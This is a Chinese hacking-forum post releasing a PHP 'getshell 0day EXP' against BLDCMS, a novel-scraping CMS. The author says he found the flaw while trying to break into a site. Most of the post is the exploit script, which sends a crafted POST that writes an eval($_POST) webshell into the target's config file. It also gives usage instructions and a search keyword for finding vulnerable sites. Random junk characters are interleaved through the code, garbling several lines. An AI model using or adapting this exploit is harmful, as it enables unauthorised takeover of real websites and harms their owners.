之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞( G# _. z2 R: P/ |" K1 V" e* _
o" L( w9 e; F! \' I+ E
4 u' B% s$ f0 H0 g2 E
话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了
) Q; p+ W! w$ X# c7 r ( G# s/ F& H7 y8 b
既然都有人发了 我就把我之前写好的EXP放出来吧' ?- n( l' Y( Y/ k3 }& G6 H
" K0 V8 D7 U2 n% F3 L; k2 ~view source print?01.php;">
2 p; W F6 Z6 n; ^7 l5 [02.<!--?php
3 N& M' W4 i* W; P( ]# Q03.echo "------------------------------------------------------------------- U/ q: z4 `2 i2 Y# A
04.
6 \4 _, G9 [- x' ]3 C05.------------\r\n BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP; v9 C( Y: R5 K5 x6 \+ e
06.
& R& \6 b$ p! H$ o2 @4 `2 z07.(GPC=Off)\r\n Vulnerability discovery&Code by 数据流@wooyun
& V5 F; a4 G, l5 ~08.
6 Y; W! Y; C5 U. S09.QQ:981009941\r\n 2013.3.21\r\n 8 Y3 \% |" g) C
10. / c0 T2 U- K. X/ t9 C0 P
11.
' X3 @# o6 C/ }6 T$ P12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码
) W) P. ]" W) D* }& j0 u6 a! N13. * j' h% f$ e1 o5 q
14.)\r\n 搜索关键字:\"开发者: 白老大小说\"\r\n-----------
7 U+ a. o9 Q# H; A. w15.
- ]- S3 j1 }! y6 l16.--------------------------------------------------------------------\r\n";- P, a. Q* I1 i6 B1 M5 W( A' v l
17.$url=$argv[1];) U6 K8 g6 f7 X* A: F
18.$dir=$argv[2];
) z' n* q7 C. \0 s7 S19.$pass=$argv[3];' C" g$ a) m* A0 B% D) ~5 {
20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';
0 }9 h7 Q; a4 C7 N6 R21.if (emptyempty($pass)||emptyempty($url))
7 C9 S" d9 j2 |, ^. S22.{exit("请输入参数");}
- }8 v+ q( @. q& V1 p9 y8 G7 Q23.else/ T/ s! ^6 o7 o
24.{
" l1 y7 j% d+ b6 R8 A; G25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev+ U: r# n' q$ o% e8 o9 _7 w
26. ! p8 z5 ]( F) f+ n9 j w/ M$ ~
27.al;; `- q1 ~: s/ F. f' W( h; {
28.$length = strlen($fuckdata);' T' L3 {$ w8 a. _
29.function getshell($url,$pass)
; L! |3 Z9 _, o30.{ B) j( c7 E8 R
31.global $url,$dir,$pass,$eval,$length,$fuckdata;
$ z- g1 T; o1 S$ e' U6 d% Y32.$header = " OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";+ e) A1 k+ m( c! t: h2 }
33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";; _+ s) e6 B8 T/ E
34.$header .= "User-Agent: MSIE\r\n";
- @, W( z3 Z) U35.$header .= "Host:".$url."\r\n";
# q1 X; P+ X% g* n1 S* I y' O8 W36.$header .= "Content-Length: ".$length."\r\n";
/ D9 T0 C/ }8 X# o- O# v2 P# P: Y37.$header .= "Connection: Close\r\n";
5 R2 I" X2 ?( k- e8 l1 l38.$header .="\r\n";$ x" M# d& u6 J( j: \1 ?
39.$header .= $fuckdata."\r\n\r\n";; n( _. b" J: G9 R; H, r6 N
40.$fp = fsockopen($url, 80,$errno,$errstr,15);: k$ `% F0 x- Y/ p( y) M; Z
41.if (!$fp)
# q) k; F& M: A% H; l3 A: @42.{" ` h, U0 S) M5 |: g
43.exit ("利用失败:请检查指定目标是否能正常打开");$ v' [! f2 i& o
44.}: q) l7 e) @) {* \; t3 I9 Q
45.else{ if (!fputs($fp,$header))
2 V4 x6 q/ N' M* W" Q8 v r46.{exit ("利用失败");}# T& g- r p: Z6 y0 D& J! |+ ?
47.else- r/ Z# @* C0 Y9 q: s4 P! [
48.{
, V% f5 [! E( T5 ^" Y, U+ z/ n49.$receive = '';
$ L4 d, W) Q* b7 S6 f8 D50.while (!feof($fp)) {4 X8 E6 _6 {5 _4 o# u* I
51.$receive .= @fgets($fp, 1000);
1 Y O2 B! y% V; P52.}
# X0 E4 l# P1 P" d0 x+ [) t; e53.@fclose($fp);
; o6 s* V; T9 M8 F. J54.echo "$url/$dir/conn/config/normal2.php pass pass(如连接失败 请检查目标9 }/ k# W# d& B8 C
55.
1 H6 J' Y$ n& a8 J* m. Q' i4 z56.GPC是否=off)";& t" _" v, P5 i2 E1 W+ O0 v! z
57.}}
2 K9 ]/ H0 k6 Y58.} D/ Y& Q' N9 o! H
59.}7 {! T( C9 v" X+ y5 Z: P
60.getshell($url,$pass);
7 S [7 Y1 X* A- o3 W0 P6 a5 ]61.?-->) l+ W8 m. W5 Q$ j
( }) A1 m$ N5 s) T, Q
6 f0 k" z/ ]6 s% A% e" L 3 p2 ^3 ~$ i0 G! y: L
by 数据流! ^; @/ W8 F( ?: a
|